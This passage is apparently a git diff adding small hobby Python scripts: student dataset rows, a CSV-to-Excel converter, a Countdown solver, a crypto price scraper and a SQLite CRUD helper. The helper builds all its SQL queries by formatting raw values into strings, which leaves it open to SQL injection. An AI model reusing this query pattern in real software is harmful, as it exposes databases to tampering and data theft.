+"GP";"F";17;"U";"GT3";"T";3;4;"services";"other";"course";"mother";1;3;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";4;4;5;1;3;5;16;"16";"15";15 +"GP";"F";19;"R";"GT3";"A";3;1;"services";"at_home";"home";"other";1;3;1;"no";"no";"yes";"no";"yes";"yes";"no";"no";5;4;3;1;2;5;12;"14";"13";13 +"GP";"F";17;"U";"GT3";"T";3;2;"other";"other";"home";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";4;3;2;2;3;2;0;"7";"8";0 +"GP";"F";18;"U";"LE3";"T";3;3;"services";"services";"home";"mother";1;4;0;"no";"yes";"no";"no";"yes";"yes";"yes";"no";5;3;3;1;1;1;7;"16";"15";17 +"GP";"F";17;"R";"GT3";"A";3;2;"other";"other";"home";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;3;3;2;3;2;4;"9";"10";10 +"GP";"F";19;"U";"GT3";"T";2;1;"services";"services";"home";"other";1;3;1;"no";"no";"yes";"yes";"yes";"yes";"yes";"yes";4;3;4;1;3;3;4;"11";"12";11 +"GP";"M";18;"U";"GT3";"T";4;4;"teacher";"services";"home";"father";1;2;1;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";4;3;3;2;2;2;0;"10";"10";0 +"GP";"M";18;"U";"LE3";"T";3;4;"services";"other";"home";"mother";1;2;0;"no";"no";"no";"yes";"yes";"yes";"yes";"yes";4;3;3;1;3;5;11;"16";"15";15 +"GP";"F";17;"U";"GT3";"A";2;2;"at_home";"at_home";"home";"father";1;2;1;"no";"yes";"no";"no";"yes";"yes";"yes";"yes";3;3;1;1;2;4;0;"9";"8";0 +"GP";"F";18;"U";"GT3";"T";2;3;"at_home";"other";"course";"mother";1;3;0;"no";"yes";"no";"no";"yes";"yes";"yes";"no";4;3;3;1;2;3;4;"11";"10";10 +"GP";"F";18;"U";"GT3";"T";3;2;"other";"services";"other";"mother";1;3;0;"no";"no";"no";"no";"yes";"yes";"yes";"yes";5;4;3;2;3;1;7;"13";"13";14 +"GP";"M";18;"R";"GT3";"T";4;3;"teacher";"services";"course";"mother";1;3;0;"no";"no";"no";"no";"yes";"yes";"yes";"yes";5;3;2;1;2;4;9;"16";"15";16 +"GP";"M";18;"U";"GT3";"T";4;3;"teacher";"other";"course";"mother";1;3;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";5;4;5;2;3;5;0;"10";"10";9 +"GP";"F";17;"U";"GT3";"T";4;3;"health";"other";"reputation";"mother";1;3;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";4;4;3;1;3;4;0;"13";"15";15 +"MS";"M";18;"R";"GT3";"T";3;2;"other";"other";"course";"mother";2;1;1;"no";"yes";"no";"no";"no";"yes";"yes";"no";2;5;5;5;5;5;10;"11";"13";13 +"MS";"M";19;"R";"GT3";"T";1;1;"other";"services";"home";"other";3;2;3;"no";"no";"no";"no";"yes";"yes";"yes";"no";5;4;4;3;3;2;8;"8";"7";8 +"MS";"M";17;"U";"GT3";"T";3;3;"health";"other";"course";"mother";2;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;5;4;2;3;3;2;"13";"13";13 +"MS";"M";18;"U";"LE3";"T";1;3;"at_home";"services";"course";"mother";1;1;1;"no";"no";"no";"no";"yes";"no";"yes";"yes";4;3;3;2;3;3;7;"8";"7";8 +"MS";"M";19;"R";"GT3";"T";1;1;"other";"other";"home";"other";3;1;1;"no";"yes";"no";"no";"yes";"yes";"yes";"no";4;4;4;3;3;5;4;"8";"8";8 +"MS";"M";17;"R";"GT3";"T";4;3;"services";"other";"home";"mother";2;2;0;"no";"yes";"yes";"yes";"no";"yes";"yes";"yes";4;5;5;1;3;2;4;"13";"11";11 +"MS";"F";18;"U";"GT3";"T";3;3;"services";"services";"course";"father";1;2;0;"no";"yes";"no";"no";"yes";"yes";"no";"yes";5;3;4;1;1;5;0;"10";"9";9 +"MS";"F";17;"R";"GT3";"T";4;4;"teacher";"services";"other";"father";2;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;3;3;1;2;5;4;"12";"13";13 +"MS";"F";17;"U";"LE3";"A";3;2;"services";"other";"reputation";"mother";2;2;0;"no";"no";"no";"no";"yes";"yes";"no";"yes";1;2;3;1;2;5;2;"12";"12";11 +"MS";"M";18;"U";"LE3";"T";1;1;"other";"services";"home";"father";2;1;0;"no";"no";"no";"no";"no";"yes";"yes";"yes";3;3;2;1;2;3;4;"10";"10";10 +"MS";"F";18;"U";"LE3";"T";1;1;"at_home";"services";"course";"father";2;3;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";5;3;2;1;1;4;0;"18";"16";16 +"MS";"F";18;"R";"LE3";"A";1;4;"at_home";"other";"course";"mother";3;2;0;"no";"no";"no";"no";"yes";"yes";"no";"yes";4;3;4;1;4;5;0;"13";"13";13 +"MS";"M";18;"R";"LE3";"T";1;1;"at_home";"other";"other";"mother";2;2;1;"no";"no";"no";"yes";"no";"no";"no";"no";4;4;3;2;3;5;2;"13";"12";12 +"MS";"F";18;"U";"GT3";"T";3;3;"services";"services";"other";"mother";2;2;0;"no";"yes";"no";"no";"yes";"yes";"yes";"yes";4;3;2;1;3;3;0;"11";"11";10 +"MS";"F";17;"U";"LE3";"T";4;4;"at_home";"at_home";"course";"mother";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";2;3;4;1;1;1;0;"16";"15";15 +"MS";"F";17;"R";"GT3";"T";1;2;"other";"services";"course";"father";2;2;0;"no";"no";"no";"no";"no";"yes";"no";"no";3;2;2;1;2;3;0;"12";"11";12 +"MS";"M";18;"R";"GT3";"T";1;3;"at_home";"other";"course";"mother";2;2;0;"no";"yes";"yes";"no";"yes";"yes";"no";"no";3;3;4;2;4;3;4;"10";"10";10 +"MS";"M";18;"U";"LE3";"T";4;4;"teacher";"services";"other";"mother";2;3;0;"no";"no";"yes";"no";"yes";"yes";"yes";"yes";4;2;2;2;2;5;0;"13";"13";13 +"MS";"F";17;"R";"GT3";"T";1;1;"other";"services";"reputation";"mother";3;1;1;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";5;2;1;1;2;1;0;"7";"6";0 +"MS";"F";18;"U";"GT3";"T";2;3;"at_home";"services";"course";"father";2;1;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";5;2;3;1;2;4;0;"11";"10";10 +"MS";"F";18;"R";"GT3";"T";4;4;"other";"teacher";"other";"father";3;2;0;"no";"yes";"yes";"no";"no";"yes";"yes";"yes";3;2;2;4;2;5;10;"14";"12";11 +"MS";"F";19;"U";"LE3";"T";3;2;"services";"services";"home";"other";2;2;2;"no";"no";"no";"yes";"yes";"yes";"no";"yes";3;2;2;1;1;3;4;"7";"7";9 +"MS";"M";18;"R";"LE3";"T";1;2;"at_home";"services";"other";"father";3;1;0;"no";"yes";"yes";"yes";"yes";"no";"yes";"yes";4;3;3;2;3;3;3;"14";"12";12 +"MS";"F";17;"U";"GT3";"T";2;2;"other";"at_home";"home";"mother";1;3;0;"no";"no";"no";"yes";"yes";"yes";"no";"yes";3;4;3;1;1;3;8;"13";"11";11 +"MS";"F";17;"R";"GT3";"T";1;2;"other";"other";"course";"mother";1;1;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";3;5;5;1;3;1;14;"6";"5";5 +"MS";"F";18;"R";"LE3";"T";4;4;"other";"other";"reputation";"mother";2;3;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";5;4;4;1;1;1;0;"19";"18";19 +"MS";"F";18;"R";"GT3";"T";1;1;"other";"other";"home";"mother";4;3;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";4;3;2;1;2;4;2;"8";"8";10 +"MS";"F";20;"U";"GT3";"T";4;2;"health";"other";"course";"other";2;3;2;"no";"yes";"yes";"no";"no";"yes";"yes";"yes";5;4;3;1;1;3;4;"15";"14";15 +"MS";"F";18;"R";"LE3";"T";4;4;"teacher";"services";"course";"mother";1;2;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"no";5;4;3;3;4;2;4;"8";"9";10 +"MS";"F";18;"U";"GT3";"T";3;3;"other";"other";"home";"mother";1;2;0;"no";"no";"yes";"no";"yes";"yes";"yes";"yes";4;1;3;1;2;1;0;"15";"15";15 +"MS";"F";17;"R";"GT3";"T";3;1;"at_home";"other";"reputation";"mother";1;2;0;"no";"yes";"yes";"yes";"no";"yes";"yes";"no";4;5;4;2;3;1;17;"10";"10";10 +"MS";"M";18;"U";"GT3";"T";4;4;"teacher";"teacher";"home";"father";1;2;0;"no";"no";"yes";"yes";"no";"yes";"yes";"no";3;2;4;1;4;2;4;"15";"14";14 +"MS";"M";18;"R";"GT3";"T";2;1;"other";"other";"other";"mother";2;1;0;"no";"no";"no";"yes";"no";"yes";"yes";"yes";4;4;3;1;3;5;5;"7";"6";7 +"MS";"M";17;"U";"GT3";"T";2;3;"other";"services";"home";"father";2;2;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";4;4;3;1;1;3;2;"11";"11";10 +"MS";"M";19;"R";"GT3";"T";1;1;"other";"services";"other";"mother";2;1;1;"no";"no";"no";"no";"yes";"yes";"no";"no";4;3;2;1;3;5;0;"6";"5";0 +"MS";"M";18;"R";"GT3";"T";4;2;"other";"other";"home";"father";2;1;1;"no";"no";"yes";"no";"yes";"yes";"no";"no";5;4;3;4;3;3;14;"6";"5";5 +"MS";"F";18;"R";"GT3";"T";2;2;"at_home";"other";"other";"mother";2;3;0;"no";"no";"yes";"no";"yes";"yes";"no";"no";5;3;3;1;3;4;2;"10";"9";10 +"MS";"F";18;"R";"GT3";"T";4;4;"teacher";"at_home";"reputation";"mother";3;1;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";4;4;3;2;2;5;7;"6";"5";6 +"MS";"F";19;"R";"GT3";"T";2;3;"services";"other";"course";"mother";1;3;1;"no";"no";"no";"yes";"no";"yes";"yes";"no";5;4;2;1;2;5;0;"7";"5";0 +"MS";"F";18;"U";"LE3";"T";3;1;"teacher";"services";"course";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;3;4;1;1;1;0;"7";"9";8 +"MS";"F";18;"U";"GT3";"T";1;1;"other";"other";"course";"mother";2;2;1;"no";"no";"no";"yes";"yes";"yes";"no";"no";1;1;1;1;1;5;0;"6";"5";0 +"MS";"M";20;"U";"LE3";"A";2;2;"services";"services";"course";"other";1;2;2;"no";"yes";"yes";"no";"yes";"yes";"no";"no";5;5;4;4;5;4;11;"9";"9";9 +"MS";"M";17;"U";"LE3";"T";3;1;"services";"services";"course";"mother";2;1;0;"no";"no";"no";"no";"no";"yes";"yes";"no";2;4;5;3;4;2;3;"14";"16";16 +"MS";"M";21;"R";"GT3";"T";1;1;"other";"other";"course";"other";1;1;3;"no";"no";"no";"no";"no";"yes";"no";"no";5;5;3;3;3;3;3;"10";"8";7 +"MS";"M";18;"R";"LE3";"T";3;2;"services";"other";"course";"mother";3;1;0;"no";"no";"no";"no";"no";"yes";"yes";"no";4;4;1;3;4;5;0;"11";"12";10 +"MS";"M";19;"U";"LE3";"T";1;1;"other";"at_home";"course";"father";1;1;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";3;2;3;3;3;5;5;"8";"9";9 diff --git a/CSV-to-Excel/example output.xlsx b/CSV-to-Excel/example output.xlsx new file mode 100644 index 00000000..fff4ffbe Binary files /dev/null and b/CSV-to-Excel/example output.xlsx differ diff --git a/CSV-to-Excel/main.py b/CSV-to-Excel/main.py new file mode 100644 index 00000000..93758c6d --- /dev/null +++ b/CSV-to-Excel/main.py @@ -0,0 +1,49 @@ +#!python3 +# -*- coding: utf-8 -*- + +import openpyxl +import sys + +#inputs +print("This programme writes the data in any Comma-separated value file (such as: .csv or .data) to a Excel file.") +print("The input and output files must be in the same directory of the python file for the programme to work.\n") + +csv_name = input("Name of the CSV file for input (with the extension): ") +sep = input("Seperator of the CSV file: ") +excel_name = input("Name of the excel file for output (with the extension): ") +sheet_name = input("Name of the excel sheet for output: ") + +#opening the files +try: + wb = openpyxl.load_workbook(excel_name) + sheet = wb.get_sheet_by_name(sheet_name) + + file = open(csv_name,"r",encoding = "utf-8") +except: + print("File Error!") + sys.exit() + +#rows and columns +row = 1 +column = 1 + +#for each line in the file +for line in file: + #remove the \n from the line and make it a list with the seperator + line = line[:-1] + line = line.split(sep) + + #for each data in the line + for data in line: + #write the data to the cell + sheet.cell(row,column).value = data + #after each data column number increases by 1 + column += 1 + + #to write the next line column number is set to 1 and row number is increased by 1 + column = 1 + row += 1 + +#saving the excel file and closing the csv file +wb.save(excel_name) +file.close() \ No newline at end of file diff --git a/CSV-to-Excel/requirements.txt b/CSV-to-Excel/requirements.txt new file mode 100644 index 00000000..a717bf13 --- /dev/null +++ b/CSV-to-Excel/requirements.txt @@ -0,0 +1 @@ +openpyxl \ No newline at end of file diff --git a/Color_to_BW_Converter/README.md b/Color_to_BW_Converter/README.md index 4993e020..0e34c809 100644 --- a/Color_to_BW_Converter/README.md +++ b/Color_to_BW_Converter/README.md @@ -11,3 +11,4 @@ A simple python script which takes colored image filename as argument and conver ## Example `$python bw_convert.py sample_image.jpg` +`$python bw_convert.py sample_image.png` diff --git a/Countdown/README.md b/Countdown/README.md new file mode 100644 index 00000000..98947953 --- /dev/null +++ b/Countdown/README.md @@ -0,0 +1,62 @@ +# Countdown + +## Description + +Countdown is a 1982 British game show involving word and number tasks. There are +two contestants in each episode that compete in three game types: letters +rounds, in which the contestants attempt to make the longest word possible from +nine randomly chosen letters; numbers rounds, in which the contestants must +use arithmetic to reach a random target number from six other numbers; and the +conundrum, a buzzer round in which the contestants compete to solve a +nine-letter anagram. + +### Letters Round +The contestant in control chooses between two stacks of letter tiles, one +containing vowels (A-E-I-O-U only) and the other consonants, and the assistant +reveals the top tile from that stack and places it on the board. This is done +nine times, and the final grouping must contain at least three vowels and four +consonants. The contestants then have 30 seconds to form the longest single +word they can, using the nine revealed letters; no letter may be used more often +than it appears in the selection. + +#### Example +Contestant One chooses five consonants, then three vowels, then another +consonant. + +Selection is: `G Y H D N O E U R` + +Contestant One declares 7, while Contestant Two declares 8. + +Contestant One reveals `younger`, but Contestant Two reveals `hydrogen` and +scores 8 points. Contestant One does not score. + +### Numbers Round +The contestant in control chooses six of 24 shuffled face-down number tiles, +arranged into two groups: 20 "small numbers" (two each of 1 to 10), and four +"large numbers" of 25, 50, 75, and 100. Some special episodes replace the large +numbers with 12, 37, 62, and 87. The contestant decides how many large numbers +are to be used, from none to all four, after which the six tiles are randomly +drawn and placed on the board. Then, a random three-digit target number is then +generated by an electronic machine. The contestants have 30 seconds to work out +a sequence of calculations with the numbers whose final result is as close to +the target number as possible. They may use only the four basic operations of +addition, subtraction, multiplication and division, and do not have to use all +six numbers. A number may not be used more times than it appears on the board. +Division can only be performed if the result has no remainder. Fractions are not +allowed, and only positive integers may be obtained as a result at any stage of +the calculation. + +#### Example +Contestant One requests two large numbers and four small numbers. + +Selection is: 75 50 2 3 8 7 + +Randomly generated target is: 812 + +Contestant One declares 813, while Contestant Two declares 815. + +Contestant One is closer and so reveals: 75 + 50 – 8 = 117, and 117 × 7 – (3 × +2) = 813, which scores 7 points for being 1 away. Contestant Two does not score. + +# Solvers +- `numbers-round.py` is a solver for the Numbers Round. diff --git a/Countdown/numbers-round.py b/Countdown/numbers-round.py new file mode 100644 index 00000000..3ea0fd14 --- /dev/null +++ b/Countdown/numbers-round.py @@ -0,0 +1,92 @@ +#!/usr/bin/python + +import sys +import copy +import argparse +import itertools + + +def parse_arguments(): + parser = argparse.ArgumentParser(description = 'Countdown - Numbers Game', + add_help = False) + + parser._optionals.title = 'Target and List Numbers' + + parser.add_argument('-h', '--help', action = 'help', + default = argparse.SUPPRESS, + help = 'Countdown Numbers Game. Inform a list of six numbers (-l) and a target (-t).') + + parser.add_argument('-t', '--target', type = int, action = 'store', + dest = 'target', default = 100, help = 'The target of the game.') + + parser.add_argument('-l', '--list', type = int, nargs = '+', + default = [1, 2, 4, 8, 10, 25], help = 'List with six integers.') + + arguments = parser.parse_args() + + return arguments + + +pd = {} +def nubmers_game(L, t, s, ol): + global pd + ops = ['+', '-', '*', '/'] + ss = copy.deepcopy(s) + key = str((ss, L)) + if key in pd: + return pd[key] + + if len(L) == 1: + if L[0] == t: + print(f'Target: {t}\nNumbers: {ol}\nSolution: {ss}') + return True + else: + pd[key] = False + return False + else: + for c in itertools.combinations(L, 2): + if not c[0] or not c[1]: + continue + tmp = L[:] + tmp.remove(c[0]) + tmp.remove(c[1]) + exp1 = f'{c[0]} %s {c[1]}' + exp2 = f'{c[1]} %s {c[0]}' + if nubmers_game(tmp + [c[0] + c[1]], t, ss + [exp1 % ('+')], ol): + return True + elif nubmers_game(tmp + [c[0] - c[1]], t, ss + [exp1 % ('-')], ol): + return True + elif nubmers_game(tmp + [c[1] - c[0]], t, ss + [exp2 % ('-')], ol): + return True + elif nubmers_game(tmp + [c[0] * c[1]], t, ss + [exp1 % ('*')], ol): + return True + elif c[0] % c[1] == 0 and nubmers_game(tmp + [c[0] // c[1]], t, ss + [exp1 % ('/')], ol): + return True + elif c[1] % c[0] == 0 and nubmers_game(tmp + [c[1] // c[0]], t, ss + [exp2 % ('/')], ol): + return True + elif nubmers_game(tmp + [c[0]], t, ss, ol): + return True + elif nubmers_game(tmp + [c[1]], t, ss, ol): + return True + pd[key] = False + return False + + +if __name__ == '__main__': + + args = parse_arguments() + + if len(args.list) != 6: + print(f'The set of numbers in Countdown is 6.') + sys.exit(-1) + + if args.target < 0 or args.target > 999: + print(f'The target number in Countdown is between 0 and 999.') + sys.exit(-1) + + if not nubmers_game(args.list, args.target, [], args.list): + print(f'Target: {args.target}') + print(f'Numbers: {args.list}') + print(f'Solution: Not found.') + + diff --git a/Countdown/requirements.txt b/Countdown/requirements.txt new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/Countdown/requirements.txt @@ -0,0 +1 @@ + diff --git a/Cryptocurrency-Prices/README.md b/Cryptocurrency-Prices/README.md new file mode 100644 index 00000000..d3a84265 --- /dev/null +++ b/Cryptocurrency-Prices/README.md @@ -0,0 +1,13 @@ +## Cryptocurrency Prices + +This programme gets the live price of cryptocurrencies. + +## Requirements + +Install the required libraries: + + $ pip install -r requirements.txt + +After that run with: + + $ python cryptocurrency-prices.py diff --git a/Cryptocurrency-Prices/cryptocurrency-prices.py b/Cryptocurrency-Prices/cryptocurrency-prices.py new file mode 100644 index 00000000..c4328b1f --- /dev/null +++ b/Cryptocurrency-Prices/cryptocurrency-prices.py @@ -0,0 +1,66 @@ +#!python3 +# -*- coding: utf-8 -*- + +import requests +from bs4 import BeautifulSoup +from colorama import init, Fore, Back, Style +import sys +import os + +#get the price +def get_price(): + #response from the url + response = requests.get(url) + + #soup object of the html content + soup = BeautifulSoup(response.content,'html.parser') + + #for bitcoin + if asset == 'btc': + price = soup.find('span',{'class':'price'}).text #bitcoin works faster with the price class + + #for other altcoins + else: + price = soup.find('span',{'class':'woobJfK-Xb2EM1W1o8yoE'}).text #other altcoins only work with this class + + return float(price.replace(",","")) + +#asset choice +asset = input('Abbreviation of the asset: ') +url = 'https://cryptowat.ch/assets/' + asset + +#catching the NoneType AttributeError error for coins that cant be found +try: + price = get_price() + +except AttributeError: + print("The asset doesn't exist or it's not supported!") + sys.exit() + +#visual +if sys.platform == 'win32': + os.system('cls') +else: + os.system('clear') + +#since the last price must be something from the start its set to 0 +price = 0 + +#loop +while True: + + #getting the price + last_price = price + price = get_price() + + #coloring the price according to the change + if price > last_price: + color = Fore.GREEN + elif last_price > price: + color = Fore.RED + else: + color = Style.RESET_ALL + + #printing the price + print('$ ',end='') + print(color + str(price) + Style.RESET_ALL) \ No newline at end of file diff --git a/Cryptocurrency-Prices/requirements.txt b/Cryptocurrency-Prices/requirements.txt new file mode 100644 index 00000000..20355cca --- /dev/null +++ b/Cryptocurrency-Prices/requirements.txt @@ -0,0 +1,3 @@ +requests +bs4 +colorama \ No newline at end of file diff --git a/Database-As-Storage/Database-As-Storage.py b/Database-As-Storage/Database-As-Storage.py new file mode 100644 index 00000000..8aba8373 --- /dev/null +++ b/Database-As-Storage/Database-As-Storage.py @@ -0,0 +1,212 @@ +from dataclasses import field, fields +import sqlite3 +from unittest import result + +class CustomSqliteAction(): + def __init__(self,database_name, database_table, database_fields): + self.database = database_name + self.table_name = database_table + self.fields = database_fields + + self.db_conn = None + self.valid_fields = None + + def connect_to_db(self): + print('[+] Connecting to {}'.format(self.database)) + db_conn = sqlite3.connect(self.database) + self.db_conn = db_conn + + def load_table_info(self): + self.valid_fields = [f_name[0] for f_name in self.fields] + + def table_validation(self,inserted_fields): + return list(set(inserted_fields).difference(set(self.valid_fields))) + + def _parse_result(self,db_data): + query_set = [] + for data in db_data: + data_dict = {k: v for k, v in zip(self.valid_fields, data)} + query_set.append(data_dict) + return query_set + + def create_table(self): + sql_string = """CREATE TABLE IF NOT EXISTS {table_name} {field_string};""" + field_string = "("+", ".join([" ".join(fi for fi in f) for f in self.fields])+")" + sql_string = sql_string.format(table_name=self.table_name,field_string=field_string) + + print("[+] Creating Table {} .....\n".format(self.table_name)) + cur = self.db_conn.cursor() + cur.execute(sql_string) + + def table_exists(self): + sql_string = """SELECT * FROM {}""".format(self.table_name) + try: + cur = self.db_conn.cursor() + cur.execute(sql_string) + print('[+] Connecting To Table {}\n'.format(self.table_name)) + return True + except sqlite3.OperationalError: + print('[-] TABLE NAME {} DOES NOT EXISTS'.format(self.table_name)) + return False + + def store_data(self,**kwargs): + validation = self.table_validation(kwargs.keys()) + if not validation: + sql_string = """INSERT INTO {table_name} {field_string} VALUES {value_string};""" + field_string = "("+", ".join([f for f in kwargs.keys()])+")" + value_string = "("+ ", ".join([f"'{v}'" for v in kwargs.values()]) +")" + + sql_string = sql_string.format(table_name=self.table_name,field_string=field_string,value_string=value_string) + cur = self.db_conn.cursor() + try: + cur.execute(sql_string) + except sqlite3.OperationalError: + print('[-] Database Syntax Error probabily because of \' in data ') + self.db_conn.commit() + else: + print('\n[-] STORE DATA ERROR ...') + print('[-] {} IS NOT VALID FIELD NAME'.format(', '.join(validation))) + print('[-] CHOICES ARE {}'.format((', ').join(self.valid_fields))) + + def delete_data(self,**kwargs): + validation = self.table_validation(kwargs.keys()) + if not validation: + if len(kwargs) == 1: + sql_string = """DELETE FROM {table_name} WHERE {field} = '{field_id}';""" + sql_string = sql_string.format(table_name=self.table_name,field=list(kwargs.keys())[0],field_id=list(kwargs.values())[0]) + elif len(kwargs) > 1: + inintial_string = """DELETE FROM {table_name} WHERE """.format(table_name=self.table_name) + field_string = " AND ".join(["{field} = '{field_value}'".format(field=f[0],field_value=f[1]) for f in kwargs.items() ]) + ";" + sql_string = inintial_string + field_string + else: + print('[-] At least Provide 1 Argument') + return + + cur = self.db_conn.cursor() + cur.execute(sql_string) + self.db_conn.commit() + print("[+] Delete Data Successfully") + + else: + print('\n[-] DELETE DATA ERROR ...') + print('[-] {} IS NOT VALID FIELD NAME'.format(', '.join(validation))) + print('[-] CHOICES ARE {}'.format((', ').join(self.valid_fields))) + + def update_data(self,search_tuple, **kwargs): + validation = self.table_validation(kwargs.keys()) + if not validation: + if len(kwargs) == 1: + sql_string = """UPDATE {table_name} SET {field} = '{update_value}' WHERE {p_field} = {field_id};""" + sql_string = sql_string.format(table_name=self.table_name, field=list(kwargs.keys())[0], update_value=list(kwargs.values())[0], p_field=search_tuple[0], field_id=search_tuple[1]) + else: + print('[-] Only One Upadte Argument Allowed') + return + cur = self.db_conn.cursor() + cur.execute(sql_string) + self.db_conn.commit() + print("[+] Update Data Successfully") + else: + print('\n[-] DELETE DATA ERROR ...') + print('[-] {} IS NOT VALID FIELD NAME'.format(', '.join(validation))) + print('[-] CHOICES ARE {}'.format((', ').join(self.valid_fields))) + + def read_data(self,**kwargs): + validation = self.table_validation(kwargs.keys()) + if not validation: + if len(kwargs) == 1: + sql_string = """SELECT * FROM {table_name} WHERE {field} = '{read_value}';""" + sql_string = sql_string.format(table_name=self.table_name, field=list(kwargs.keys())[0], read_value=list(kwargs.values())[0]) + elif len(kwargs) > 1: + inintial_string = """SELECT * FROM {table_name} WHERE """.format(table_name=self.table_name) + field_string = " AND ".join(["{field} = '{read_value}'".format(field=f[0],read_value=f[1]) for f in kwargs.items() ]) + ";" + sql_string = inintial_string + field_string + else: + print('[-] Provide At least One Argument') + return + + cur = self.db_conn.cursor() + cur.execute(sql_string) + self.db_conn.commit() + + #FETCHING DATA + result = cur.fetchall() + return self._parse_result(result) + else: + print('\n[-] READ DATA ERROR ...') + print('[-] {} IS NOT VALID FIELD NAME'.format(', '.join(validation))) + print('[-] CHOICES ARE {}'.format((', ').join(self.valid_fields))) + + def read_all(self): + #PART1 : CREATING THE SQL STRING + sql_string = """SELECT * FROM {table_name};""" + sql_string = sql_string.format(table_name=self.table_name) + + #PART2 : EXECUTING THAT CREARED STRING + cur = self.db_conn.cursor() + cur.execute(sql_string) + self.db_conn.commit() + + #FETCHING DATA + result = cur.fetchall() + return self._parse_result(result) + + def load(self): + self.connect_to_db() + if not self.table_exists(): + self.create_table() + self.load_table_info() + else: + self.load_table_info() + + +if __name__ == '__main__': + db_file_name = 'download_queue.db' + db_table = 'DownloadQueue' + db_fields = [ + ('id','integer','primary key','autoincrement'), + ('url','text'), + ('date','date'), + ('status','text'), + + ] + + db_obj = CustomSqliteAction(database_name=db_file_name, database_table=db_table, database_fields=db_fields) + + #will create .db file if not exists + #will create table if not exists + db_obj.load() + + #let's Store Some Data + #function > store_data() + #you can also use python datetime object as a date field + db_obj.store_data(url='https://m.youtube.com/video_id',date='2022-10-01') + + + #let's Update Some Data + #function > update_data() + db_obj.update_data(search_tuple=('id','1'), url='https://google.com/video_id') + + + #let's Read Some data + #function > read_data() , read_all() + + #read_data() + #-> will read based on single condition or multiple condition and returns python list contaning all the data + print('Single Argument Search ...') + data = db_obj.read_data(url='https://m.youtube.com/video_id') + print(data) + + print('Multiple Argument Search ...') + multi_con_data = db_obj.read_data(url='https://m.youtube.com/video_id',status='done') + print(multi_con_data) + + print('Reading All Data ...') + all_data = db_obj.read_all() + print(all_data) + + #let's delete Some Data + #function > delete_data() + delete_id = 1 + db_obj.delete_data(id=delete_id) + db_obj.delete_data(url='https://m.youtube.com/video_id') + db_obj.delete_data(url='https://m.youtube.com/video_id',status='done') diff --git a/Database-As-Storage/README.md b/Database-As-Storage/README.md new file mode 100644 index 00000000..b6fe02de --- /dev/null +++ b/Database-As-Storage/README.md @@ -0,0 +1,96 @@ +# Database-As-Storage + +### What is it ? + +-> Use MySQLite Database as Storage for any kind of python project and standalone scripts, without using any SQL Syntax and Programming, + +-> This Script provides CRUD Functionality using MySQLite and Python. + +### How to Use ? + +-> it's OOP based python Script so you can just called it in your script and use it. + +```python +from Database-As-Storage import CustomSqliteAction + +db_file_name = 'download_queue.db' +db_table = 'DownloadQueue' +db_fields = [ + ('id','integer','primary key','autoincrement'), + ('url','text'), + ('date','date'), + ('status','text'), + + ] + + db_obj = CustomSqliteAction(database_name=db_file_name, database_table=db_table, database_fields=db_fields) +``` + +-> this will create a file name `download_queue.db` if not exists + +-> will create table name `DownloadQueue` if not exists. + +-> will create that table will fields provides by `db_fields`. + +-> each field tuple ( field_name, other arguments .... ) , you can add other arguments which is allowed by SQL. + + + +## CURD FUNCTIONALITY + +### Creating Data / Storing Data into Database Table + +```python +db_obj.store_data(url='https://m.youtube.com/video_id',date='2022-10-01') +``` + +-> **FUNCTION** `store_data` + +-> provide arguments based on your table fields. + +-> this example code will store a database entry of value id = 1 (cause it's auto-incrementing ), url + +-> status will be Null in database cause you haven't provided it. + +### Updating Data Into Database Table + +```python +db_obj.update_data(search_tuple=('id','1'), url='https://google.com/video_id') +``` + +-> **FUNCTION** `update_data` + +-> will take one required argument to search for particular entry in database, + +-> and the value that you want to update. + +-> this example code will change the url of id 1. + +### Reading Data From Database Table + +```python +data = db_obj.read_data(url='https://m.youtube.com/video_id') +multi_con_data = db_obj.read_data(url='https://m.youtube.com/video_id',status='done') +all_data = db_obj.read_all() +``` + +-> **FUNCTION** `read_data` and `read_all` + +-> you can search and get data based on multiple or single arguments, + +-> also you can get the whole table also. + +-> will return list of python dictionary ( each row as dict object ) + +### Deleting Data From Database Table + +```python +delete_id = 1 +db_obj.delete_data(id=delete_id) +db_obj.delete_data(url='https://m.youtube.com/video_id') +db_obj.delete_data(url='https://m.youtube.com/video_id',status='done') +``` + +-> **FUNCTION** `delete_data` + +-> you can delete data based on multiple or single arguments. \ No newline at end of file diff --git a/Database-As-Storage/requirements.txt b/Database-As-Storage/requirements.txt new file mode 100644 index 00000000..e69de29b diff --git a/Directory-organizer/Directory-oraganiser.py b/Directory-organizer/Directory-oraganiser.py index 20219eb6..f1b5f80c 100644 --- a/Directory-organizer/Directory-oraganiser.py +++ b/Directory-organizer/Directory-oraganiser.py @@ -1,61 +1,61 @@ #!/usr/bin/python3 -import argparse +from shutil import move +from os import path import os -def path(): - parse = argparse.ArgumentParser( - add_help=True, description="Organize your files to different directories according to their type") - parse.add_argument('directory_path', type=str, default='./', - help="The absolute path to the directory") - return parse.parse_args().directory_path - - -documents = ['.log', '.txt', '.doc', '.docx', '.md', '.pdf', '.wps'] -picture = ['.png', '.jpg', 'jpeg', '.bmp'] -music = ['.mp3', '.wav'] -compressed = ['.zip', '.rar', '.tar', '.gz', '.bz2', '.xz'] -video = ['.3gp', '.mov', '.mp4', '.mkv', '.srt', '.avi'] -web = ['.html', .'.css', '.js'] -source = ['.py', '.c', '.cpp', '.java',] - - -directories = [path() + '/Compressed', path() + '/Documents', - path() + '/Pictures', path() + '/Music', path() + '/Video', path() 